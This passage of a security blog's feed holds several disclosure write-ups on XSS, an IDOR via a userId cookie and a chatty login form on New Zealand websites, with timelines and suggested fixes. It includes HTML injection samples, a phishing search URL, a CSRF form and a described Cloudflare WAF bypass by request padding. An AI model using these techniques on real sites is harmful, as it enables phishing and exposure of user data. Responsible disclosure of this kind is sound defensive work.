This isn&amp;rsquo;t particularly useful for an attacker since the users are isolated from each other.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/xss.png">&lt;figcaption>
&lt;h4>Cross-site scripting allows arbitrary HTML (including JavaScript) to be rendered on each page load.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This happens because the user&amp;rsquo;s name in the top-right hand corner of the page isn&amp;rsquo;t HTML escaped when it&amp;rsquo;s rendered by the backend.&lt;/p>
&lt;h3 id="via-email">Via Email
&lt;/h3>&lt;p>This website allows its users to add products from multiple catalogues to a &amp;ldquo;shortlist&amp;rdquo; that can then be shared with others via email or a printout.
However, this site actually goes one step further here and will facilitate the sending of the email for you.
All you have to do is provide the details of the user you wish to send it to and the email address you want them to reply to and you&amp;rsquo;re away laughing.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/shortlist-1.png">&lt;figcaption>
&lt;h4>The shortlist form that you can fill out.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>And when you fill it out properly you get an email that looks like this:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/email-1.png">&lt;figcaption>
&lt;h4>A perfectly normal email.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Unfortunately, this email sending system is &lt;em>also&lt;/em> vulnerable to XSS!
For example, we can use some carefully crafted values in the form to strip out much of the email content that is added by the backend.
We &lt;em>could&lt;/em> use this to send a malicious email to a user of the site:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/shortlist-2.png">&lt;figcaption>
&lt;h4>Adding malicious values to the form.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Which would look like this when sent to the victim&amp;rsquo;s inbox:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/email-2.png">&lt;figcaption>
&lt;h4>I think I&amp;#39;d even fall for something like this!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Also, the fact that you can just send an email from this system without any CAPTCHA or other bot protection is a bit concerning.
This could be abused by spammers to send floods of mail to unsuspecting netizens.
In general, don&amp;rsquo;t offer to send emails on behalf of the user; this feature could also be implemented by opening the user&amp;rsquo;s email client.
However, if the web server &lt;em>must&lt;/em> send email on the behalf of a user, then the user&amp;rsquo;s inputs should be sanitised and some spam protection should be employed.&lt;/p>
&lt;h2 id="the-excessively-helpful-sign-in-form">The Excessively Helpful Sign In Form
&lt;/h2>&lt;p>Like many websites, this website has an administration panel that allows the owners to perform site maintenance.
However, unlike most websites, the sign in form actively ushers the user into putting the correct details in:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/login.png">&lt;figcaption>
&lt;h4>I, for one, love the user-friendly sign in panel.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>After a bit of playing around we have discovered that the following rules exist:&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;All form fields are required&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Username may consist of a-z, 0-9, underscores, begin with a letter.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Length of username must be between 3 and 24.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Length of password must be between 5 and 24.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Password field only allow : a-z 0-9&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>This is bad because we have given an attacker all the information they need to conduct a dictionary attack or brute-force attack on the site.
A website should return as little information as possible about the username and password requirements.&lt;/p>
&lt;h2 id="leaking-the-personal-information-of-all-users">Leaking the Personal Information of All Users
&lt;/h2>&lt;p>This is the most serious issue that I managed to find.
As long as you are signed in, &lt;strong>you&lt;/strong> have the ability to view the personal details of &lt;em>any&lt;/em> other user of the site.&lt;/p>
&lt;p>When you sign in to the site, you&amp;rsquo;re issued several cookies by the server.
One of these cookies is called &lt;code>userId&lt;/code> and it contains the ID of the signed in user.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/cookies.png">&lt;figcaption>
&lt;h4>A view of all the cookies on the website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Unfortunately, this &lt;code>userId&lt;/code> cookie is what the server uses as the source of truth for its authorization.
So if I&amp;rsquo;m signed in as &amp;ldquo;User 1&amp;rdquo; with the ID &lt;code>670986&lt;/code> I can change that cookie to the ID of &amp;ldquo;User 2&amp;rdquo; which is &lt;code>670987&lt;/code>.
When I reload the page, the header still shows up as myself being &amp;ldquo;User 1&amp;rdquo;.
&lt;em>But&lt;/em> if I navigate to the user details page, I am shown the details from &amp;ldquo;User 2&amp;rdquo;.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/hacked-account.png">&lt;figcaption>
&lt;h4>As you can see in the header and form, the website thinks that I&amp;#39;m both &amp;#39;User 1&amp;#39; and &amp;#39;User 2&amp;#39;.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>You may notice that I can view the following details about the other user:&lt;/p>
&lt;ul>
&lt;li>Name&lt;/li>
&lt;li>Email&lt;/li>
&lt;li>Age&lt;/li>
&lt;li>Gender&lt;/li>
&lt;li>Location&lt;/li>
&lt;li>Phone Number&lt;/li>
&lt;/ul>
&lt;p>From a privacy standpoint, this is pretty bad.
It&amp;rsquo;s made worse because all the user IDs are positive integers, which means that &lt;em>in theory&lt;/em>, anyone can scrape all the personal details of the ~670,000 user accounts on the New Zealand site and ~150,000 accounts on the Australian site.
That&amp;rsquo;s about 800,000 user accounts that have been sitting exposed!&lt;/p>
&lt;p>From an investigation standpoint, this presents some tricky issues for the site administrators since the changing of the cookie likely won&amp;rsquo;t show up in any access logs.
They may not be able to tell whether or not this has vulnerability has been exploited 🫤.&lt;/p>
&lt;p>The takeaway here is that the user ID cookie should be verified in some way.
A modern approach would be to implement &lt;a class="link" href="https://en.wikipedia.org/wiki/JSON_Web_Token" target="_blank" rel="noopener"
>JSON Web Tokens (JWTs)&lt;/a>, although I admit that this approach is likely overkill.
In reality, the cookie may not even need to exist since the backend should be aware of the user&amp;rsquo;s ID via the server session.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reported these issues to the email address on the website on the 1st of April 2024; probably not the April Fool they were expecting.
After getting no response, I reached out to the owner/developer of the site on the 9th of April, this time via a LinkedIn private message.
I got a response very quickly from the owner and sent them the details of all the issues I had found.&lt;/p>
&lt;p>The issue with the user accounts was fixed within the week.
Now if you attempt to change the &lt;code>userId&lt;/code> cookie to something else then your session will be terminated and you&amp;rsquo;ll have to sign in again.
Some of the other issues were not fixed.
My attempts to discuss this with the owner were ignored.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@jdent?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Jason Dent&lt;/a> on &lt;a href="https://unsplash.com/photos/a-black-and-white-photo-of-a-sign-that-says-privacy-please-JFk0dVyvdvw?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Architecting a Social Media Worm with XSS</title><link>https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/</link><pubDate>Fri, 03 May 2024 22:00:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/</guid><description>&lt;img src="https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/bill-craighead-IpJ5j4ox9BE-unsplash.jpg" alt="Featured image of post Architecting a Social Media Worm with XSS" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This week&amp;rsquo;s I have an example a website where business owners can create an account and advertise their own businesses.
This forms something of a social network where users can follow each other, &amp;ldquo;love&amp;rdquo; businesses, etc.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/007/website.png">&lt;figcaption>
&lt;h4>The online business directory/social media website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Just like &lt;a class="link" href="https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/" >this toy retailer&lt;/a> covered previously, this website has a cross-site scripting (XSS) vulnerability in the &amp;ldquo;first name&amp;rdquo; field of the user profile.
However, unlike the toy retailer, there is no protection here against a user adding malicious code that can be executed on another user&amp;rsquo;s browser.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/007/edit-details.png">&lt;figcaption>
&lt;h4>The vulnerable edit details page.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="the-edit-details-page">The Edit Details Page
&lt;/h2>&lt;p>This website is backed by CloudFlare which provides some decent protections against users trying to execute an XSS attack against a website.
An example of seeing these protections in action is when trying to change my first name to &lt;code>John&amp;lt;script&amp;gt;alert('hello')&amp;lt;/script&amp;gt;&lt;/code> and then hitting the &amp;ldquo;Update&amp;rdquo; button at the bottom of the page; I get this screen:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/007/blocked.png">&lt;figcaption>
&lt;h4>CloudFlare does a decent job of blocking potentially malicious content.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>However, when I click the &amp;ldquo;Change avatar&amp;rdquo; button at the top of the page and upload a profile picture, CloudFlare doesn&amp;rsquo;t kick in and reject the request.
The profile is updated and the image is saved.
We&amp;rsquo;re in! 😎&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/007/success.png">&lt;figcaption>
&lt;h4>The malicious HTML is escaped in several places (blue regions) but not escaped in one (red region).&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;details>
&lt;summary>Aside: Thoughts on CloudFlare's WAF&lt;/summary>
&lt;p>This is curious because both are POST requests that are made to the same endpoint (&lt;code>/account&lt;/code>) and contain the same information except that when I upload my avatar all the image data also gets sent in the request.
I suspect that CloudFlare only inspects the first &lt;em>N&lt;/em> bytes of the request for anything naughty where &lt;em>N&lt;/em> is some number that is apparently smaller than the size of the image I&amp;rsquo;ve chosen.&lt;/p>
&lt;p>I have confirmed that by rearranging the order of the request parameters so that the name is sent before the profile picture that the request is indeed blocked.
In theory, one should be able to bypass CloudFlare&amp;rsquo;s XSS protections by stuffing at least &lt;em>N&lt;/em> bytes of data in a junk request parameter &lt;em>before&lt;/em> the malicious payload.&lt;/p>
&lt;p>It seems that &lt;em>N&lt;/em> is equal to around 200kB.
I think I&amp;rsquo;ll use this in the future!&lt;/p>
&lt;/details>
&lt;h2 id="having-some-fun-with-it">Having Some Fun With It
&lt;/h2>&lt;p>Okay, now it&amp;rsquo;s time for a theoretical exercise.
We now have a way to execute code under the profile of another user.
All they have to do is view my profile and my code gets executed under their account.
Here are some of the things we &lt;em>could&lt;/em> do:&lt;/p>
&lt;ul>
&lt;li>Sign the user out.&lt;/li>
&lt;li>Make the user &amp;ldquo;follow&amp;rdquo; my account (aka, making me a celebrity).&lt;/li>
&lt;li>Change the user&amp;rsquo;s name to contain the copy of the &lt;em>same&lt;/em> code. This would effectively make the code a &lt;a class="link" href="https://en.wikipedia.org/wiki/Computer_worm" target="_blank" rel="noopener"
>worm&lt;/a>.&lt;/li>
&lt;li>Make the user &amp;ldquo;love&amp;rdquo; my business. I feel like this would probably be the most effective use of the vulnerability.&lt;/li>
&lt;li>Adding fake pages/forms to the site to trick the user into giving up information.&lt;/li>
&lt;li>A combination of the above or anything else you can think of! The only limit is your imagination!&lt;/li>
&lt;/ul>
&lt;p>Some of these are more useful than others but it showcases the power that a small security hole can have if exploited by a bad actor.&lt;/p>
&lt;details>
&lt;summary>Aside: Samy Worm&lt;/summary>
&lt;p>A similar vulnerability &lt;a class="link" href="https://en.wikipedia.org/wiki/Samy_%28computer_worm%29" target="_blank" rel="noopener"
>existed&lt;/a> on the social media website MySpace in 2005.
A user named Samy figured out that he could execute JavaScript via custom CSS styles on his profile page.
So whenever a user viewed his profile his script would:&lt;/p>
&lt;ul>
&lt;li>Update the bio of the user to include &amp;ldquo;Samy is my hero&amp;rdquo;,&lt;/li>
&lt;li>Send a friend request to Samy, and&lt;/li>
&lt;li>Copy the script itself into the user&amp;rsquo;s custom CSS styles for &lt;em>their&lt;/em> profile page too.&lt;/li>
&lt;/ul>
&lt;p>Because this code would copy itself, it propagated to more than one million accounts within a day of its release.
MySpace took the site down for a couple of hours to fix the issue.
This saw the developer arrested and charged.&lt;/p>
&lt;/details>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;ul>
&lt;li>April 1st: I reported this issue via the email address on their website.&lt;/li>
&lt;li>April 9th: I reached out the their parent company using the form on &lt;em>their&lt;/em> website.&lt;/li>
&lt;li>April 19th: I called the parent company at their physical office and left a message with reception.&lt;/li>
&lt;li>April 28th: I reached out to the CEO of the parent company via a mutual contact on LinkedIn. This seems to have worked to get their attention.&lt;/li>
&lt;li>May 1st: The issue has been fixed.&lt;/li>
&lt;/ul>
&lt;p>The solution to this problem was to HTML-escape the two locations where the first name was displayed.
This has the interesting effect of the header (that was previously okay) being doubly escaped!
Overall, the company was difficult to get ahold of but was pretty quick to implement a fix 😌&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/007/fixed.png">&lt;figcaption>
&lt;h4>Note the double-escaped HTML where before they were singly-escaped.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@craigheadshots?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Bill Craighead&lt;/a> on &lt;a href="https://unsplash.com/photos/jelly-tube-lot-IpJ5j4ox9BE?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Having Some Fun With XSS</title><link>https://jesse.hacks.nz/p/having-some-fun-with-xss/</link><pubDate>Sun, 28 Apr 2024 19:00:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/having-some-fun-with-xss/</guid><description>&lt;img src="https://jesse.hacks.nz/p/having-some-fun-with-xss/greyson-joralemon-9IBqihqhuHc-unsplash.jpg" alt="Featured image of post Having Some Fun With XSS" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This particular website belongs to a New Zealand homewares retailer.
Like most retailers, they maintain an internet presence in the form of an online store.
Unfortunately, the search function on this website has a cross-site scripting (XSS) vulnerability.&lt;/p>
&lt;h2 id="the-abcs-of-xss">The ABCs of XSS
&lt;/h2>&lt;p>XSS is a general term that refers to the ability for website users to publish unauthorised HTML content to a website.
For example, if I search for &lt;code>ex4242mple&lt;/code> on the website, I get this normal result:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/ex4242mple.png">&lt;figcaption>
&lt;h4>An innocuous search result.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>But, if I search for some HTML like &lt;code>&amp;lt;h1&amp;gt;ex4242mple&amp;lt;/h1&amp;gt;&lt;/code> (which encodes my text as a large header), I get this result:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/ex4242mple-h1.png">&lt;figcaption>
&lt;h4>The HTML search term, rendered.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This HTML header gets rendered right there in the page.
And like most search pages, this search term is included in the URL.
This means that the URL can be shared with other people and then &lt;em>they&lt;/em> can also see the same HTML being rendered.&lt;/p>
&lt;h3 id="limitations">Limitations
&lt;/h3>&lt;p>Through a bit of trial and error I was able to find a couple of limitations for this particular bug as it pertains to this website:&lt;/p>
&lt;ol>
&lt;li>We are limited to 128 characters of input; anything more than that will be truncated by the web application.&lt;/li>
&lt;li>The website is protected by Cloudflare&amp;rsquo;s WAF; this means that we can&amp;rsquo;t execute any JavaScript.
Although this WAF can sometimes be bypassed, it isn&amp;rsquo;t possible here since the payload is sent via the query parameters in the URL.&lt;/li>
&lt;/ol>
&lt;p>With these limitations it is difficult to do anything malicious and with those in mind, I&amp;rsquo;ll showcase a couple of examples of what one can do with this issue.&lt;/p>
&lt;h3 id="having-some-fun">Having Some Fun
&lt;/h3>&lt;p>Searching for &lt;code>&amp;lt;img src=&amp;quot;https://imgs.xkcd.com/comics/eclipse_clouds.png&amp;quot;/&amp;gt;&lt;/code>, we can add an image to the page:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/xkcd.png">&lt;figcaption>
&lt;h4>An XKCD comic embedded in this online shopping website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>With &lt;code>&amp;lt;style&amp;gt;img{transform:filter(blur(5px))}&amp;lt;/style&amp;gt;&lt;/code>, we can blur all the images on the page:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/blurry-images.png">&lt;figcaption>
&lt;h4>We can apply a CSS blur filter on all the images.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>With &lt;code>&amp;lt;style&amp;gt;body{transform:scaleX(-1)}&amp;lt;/style&amp;gt;&lt;/code>, we can flip the page backwards:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/transform-flip.png">&lt;figcaption>
&lt;h4>Another CSS trick to flip the page along the x-axis.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="potential-uses">Potential Uses
&lt;/h2>&lt;h3 id="adding-forms">Adding Forms
&lt;/h3>&lt;p>We can use a technique named cross-site request forgery (CSRF) in conjunction with our XSS vulnerability.
CSRF is when we trick the user into making a change that they didn&amp;rsquo;t intend.
Because we don&amp;rsquo;t have JavaScript at our disposal, we can use plain old HTML forms to make requests to endpoints within the website&amp;rsquo;s account management API.
Of course, the user will have to initiate the request by clicking the submit button first.&lt;/p>
&lt;p>For example, it &lt;em>may&lt;/em> be possible to change the user details of a logged in user using this method.
Fortunately, due to the way this website handles updates to the user&amp;rsquo;s sign-in information, it wouldn&amp;rsquo;t be possible to change the user&amp;rsquo;s email or password using this method.&lt;/p>
&lt;p>Here&amp;rsquo;s an example of a form that could be modified to make changes to a logged in users profile:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">form&lt;/span> &lt;span class="na">method&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">POST&lt;/span> &lt;span class="na">action&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;/some-url&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">button&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>Do bad thing.&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">button&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">form&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/form-with-post.png">&lt;figcaption>
&lt;h4>We can inject an HTML form to trick the user into doing things.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>&lt;em>Note: this could be extended to placing a form that looks similar to the sign in form, except it exfiltrates the user&amp;rsquo;s credentials to some 3rd party site. However, this would probably count as phishing.&lt;/em>&lt;/p>
&lt;h3 id="phishing">Phishing
&lt;/h3>&lt;p>This is probably the most viable use of this particular vulnerability.
We can embed a link to another website and then use &lt;em>that&lt;/em> website to get information from the user.
Because this retail website hosts the link to our malicious website, the user may choose to trust it.&lt;/p>
&lt;p>By using the search term &lt;code>&amp;lt;h1&amp;gt;Congratulations&amp;lt;/h1&amp;gt;You have won! Click &amp;lt;a href=&amp;quot;#&amp;quot;&amp;gt;here&amp;lt;/a&amp;gt; to claim your prize.&amp;lt;/style&amp;gt;&amp;lt;!--&lt;/code> (in reality a proper URL would replace the &lt;code>#&lt;/code>), we get this:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/phishing.png">&lt;figcaption>
&lt;h4>A malicious link to a different website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This could be spread to a victim by sending them a link via email or social media:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">https://www.website-name.co.nz/search2/?q=%3Ch1%3ECongratulations%3C%2Fh1%3EYou%20have%20won!%20Click%20%3Ca%20href%3D%22%23%22%3Ehere%3C%2Fa%3E%20to%20claim%20your%20prize.%3C%2Fstyle%3E%3C!--
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>To most people, this link doesn&amp;rsquo;t look suspicious; users are used to long URLs with multitudes of tracking information in them.
This link wouldn&amp;rsquo;t look out of place.
We could also percent-encode the remaining characters to further obfuscate it if we wanted to.&lt;/p>
&lt;h2 id="buy-one-get-one-free">Buy One, Get One Free!
&lt;/h2>&lt;p>The parent company of this website also owns a sports-oriented sister company.
And sure enough, because both websites are built on the exact same technology, the same XSS issue exists there too.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/009/sister-site-doge.png">
&lt;/figure>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reported this issue to the website administrators via their contact form on the 5th of April.
They got back to me later that day informing me that they had notified their web development team.
I suspect that this company doesn&amp;rsquo;t have their own internal development team and instead relies on a 3rd-party for this.&lt;/p>
&lt;p>At the time of publishing this post — 3 weeks after reporting the issue — the issue has not been fixed.
However, since the potential for abuse is low and it&amp;rsquo;s in the process of being fixed, there shouldn&amp;rsquo;t be too much of a problem with publishing this information.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@greysonjoralemon?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Greyson Joralemon&lt;/a> on &lt;a href="https://unsplash.com/photos/high-angle-photo-of-assorted-color-plastic-balls-9IBqihqhuHc?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Customise Your Toy Shopping Experience with XSS</title><link>https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/</link><pubDate>Sun, 21 Apr 2024 15:30:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/</guid><description>&lt;img src="https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/jerry-wang-LXIH6QHz6ko-unsplash.jpg" alt="Featured image of post Customise Your Toy Shopping Experience with XSS" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This website is one of several online retail stores specialising in children&amp;rsquo;s toys.
Their website has all the standard features you would expect from an online store including the ability to create an account.
Unfortunately the &amp;ldquo;update details&amp;rdquo; page contains a minor cross-site-scripting bug.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/006/original-form.png">&lt;figcaption>
&lt;h4>An unassuming account details form, ripe for exploitation!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="cross-site-scripting-xss">Cross-Site-Scripting (XSS)
&lt;/h2>&lt;p>In general, XSS refers to a vulnerability in a website that allows a user to submit HTML to the website and to have that HTML render in the browser.
XSS may be quite serious since it can involve getting JavaScript to execute on another user&amp;rsquo;s browser.
XSS comes in a couple of different flavours, you can read more about XSS &lt;a class="link" href="https://owasp.org/www-community/Types_of_Cross-Site_Scripting" target="_blank" rel="noopener"
>here&lt;/a> but I&amp;rsquo;ll run through the basics.&lt;/p>
&lt;h3 id="reflected-xss">Reflected XSS
&lt;/h3>&lt;p>This occurs when a user is able to submit data to a website (for example, in a form) and the data is &amp;ldquo;reflected&amp;rdquo; back to the user&amp;rsquo;s browser in the HTTP response.
This is usually not too much of an issue since browsers have gotten much better at detecting this and preventing scripts from running.&lt;/p>
&lt;h3 id="stored-xss">Stored XSS
&lt;/h3>&lt;p>This one can be more serious since instead of the malicious data coming straight back to the user&amp;rsquo;s browser it is stored on the server first.
This can mean that if any other user views this data on the website that the unescaped HTML might be rendered on their browser too.
And because the victim&amp;rsquo;s web browser has no way of telling apart the website HTML from the malicious HTML, the browser will happily render all the data, including any scripts that might have been included by the bad actor.&lt;/p>
&lt;h2 id="injecting-the-update-details-page">Injecting the Update Details Page
&lt;/h2>&lt;p>In the case of this website, we have a stored XSS vulnerability via the first name of the user.
For example, if I change my first name to:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">style&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;span class="nt">body&lt;/span>&lt;span class="p">{&lt;/span> &lt;span class="k">background&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">pink&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="p">}&amp;lt;/&lt;/span>&lt;span class="nt">style&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Then the background of the whole page turns pink.
That&amp;rsquo;s kinda neat 😸&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/006/pink-background.png">&lt;figcaption>
&lt;h4>A nice pink-coloured background for my update details page.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;hr />
&lt;p>We can also include picture is we want to:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/006/cat-picture.png">&lt;figcaption>
&lt;h4>If you like looking at cats when you&amp;#39;re expecting your name, well, you&amp;#39;re in luck!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;hr />
&lt;p>And even an old-school &lt;code>marquee&lt;/code> tag:&lt;/p>
&lt;figure>
&lt;video lazy src="https://jesse.hacks.nz/images/006/marquee.webm" autoplay muted loop>&lt;/video>
&lt;figcaption>
&lt;h4>
We can also do some '90s-style animations using the &lt;code>marquee&lt;/code> tag.
&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="limitations">Limitations
&lt;/h2>&lt;p>However, due to how the &amp;ldquo;first name&amp;rdquo; is returned to the browser, there are a couple of limitations on what kind of data can be used for XSS:&lt;/p>
&lt;ol>
&lt;li>The page will only render the first 150 characters of the user&amp;rsquo;s first name.&lt;/li>
&lt;li>If the backend detects any scripts in the request it will reject them (there may be a WAF sitting in the middle here).&lt;/li>
&lt;li>This means that we cannot do anything too clever, unfortunately.&lt;/li>
&lt;li>As far as I can tell, the HTML is only ever run on the &amp;ldquo;update details&amp;rdquo; page of the site and is only visible by the user whose account it is.&lt;/li>
&lt;/ol>
&lt;p>So, really this issue isn&amp;rsquo;t all that bad.
Even though the HTML is stored in the database it behaves more like a glorified reflected XSS vulnerability. The most exciting thing we can do here is add some custom styles to the page or add other HTML elements (such as video, etc).&lt;/p>
&lt;h2 id="protecting-_your_-websites-from-xss">Protecting &lt;em>Your&lt;/em> Websites from XSS
&lt;/h2>&lt;p>There&amp;rsquo;s really only one good way to prevent XSS from happening to your sites, and that&amp;rsquo;s to HTML escape any user-provided data.
If you&amp;rsquo;re not using a templating library this essentially just involves replacing all the &lt;code>&amp;lt;&lt;/code> and &lt;code>&amp;gt;&lt;/code> symbols with &lt;code>&amp;amp;lt;&lt;/code> and &lt;code>&amp;amp;gt;&lt;/code> symbols respectively.
Depending on how the data is injected into the page you may also want to escape any quotes from user-provided data.&lt;/p>
&lt;p>However, most backend web frameworks have a templating engine built in to them that will do all this for you so there&amp;rsquo;s likely not much that you need to do yourself.
The litmus test I usually use to quickly determine if a field of a website is vulnerable is to put in &lt;code>&amp;lt;h1&amp;gt;test&amp;lt;/h1&amp;gt;&lt;/code> and see if it actually renders a heading or if it escapes (or even removes!) those angled brackets properly.&lt;/p>
&lt;h2 id="more-widespread-than-i-thought">More Widespread than I Thought
&lt;/h2>&lt;p>I suspect that the XSS problem is less of an issue with this particular site and more of an issue of the CMS that is being used by this site.
Unfortunately, I have no idea what CMS is being used and have tried my best to figure it out!
The reason I think this is that there is another popular NZ website that looks very similar (in HTML structure, administration panel, etc) and it has the exact same XSS vulnerability.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/006/other-website.png">&lt;figcaption>
&lt;h4>A second website with the same issue.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>The administration panel for this website uses the logo &amp;ldquo;Cody&amp;rdquo; and a URL &amp;ldquo;meetcody.io&amp;rdquo; which doesn&amp;rsquo;t currently exist.
I have not been able to find any mention of &amp;ldquo;meetcody.io&amp;rdquo; it on Google, or on the &lt;a class="link" href="https://archive.org/" target="_blank" rel="noopener"
>Wayback Machine&lt;/a> (there appears to be a &amp;ldquo;meetcody.ai&amp;rdquo; project that is unrelated and poisons my search results for &amp;ldquo;meetcody&amp;rdquo;).
